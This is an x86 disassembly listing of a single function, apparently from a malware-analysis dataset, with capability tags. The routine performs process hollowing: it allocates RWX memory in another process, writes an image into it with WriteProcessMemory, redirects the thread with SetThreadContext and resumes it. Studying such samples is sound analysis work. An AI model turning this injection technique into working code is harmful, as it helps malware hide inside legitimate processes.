Function at 0x49dbcc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff1c
push ebx
mov ebx, edx
xor eax, eax
push ebp
push 0x49dd9e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x18]
lea edx, [ebp - 4]
lea eax, [ebp - 0xe4]
call fcn.0049daec
test al, al
je 0x49dd90
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 8]
jne 0x49dc46
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jb 0x49dc46
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtectEx
jmp 0x49dcb8
call fcn.0049d9f4
test al, al
je 0x49dcb8
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0049da80
test al, al
je 0x49dc7a
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [0x4a3538]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x49dcb8
mov eax, ebx
call fcn.0049da00
test al, al
je 0x49dcb8
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call dword [0x4a3538]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x49dcb8
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.0049da18
cmp dword [ebp - 0x14], 0
je 0x49dd6c
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x40]
add eax, 8
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x14]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x49dd46
mov dword [ebp - 0xe4], 0x10007
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 8]
jne 0x49dd1c
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x34], eax
jmp 0x49dd22
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0xe4]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x49dd90
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 4], 0xffffffff
jmp 0x49dd90
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 4], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49dda5
ret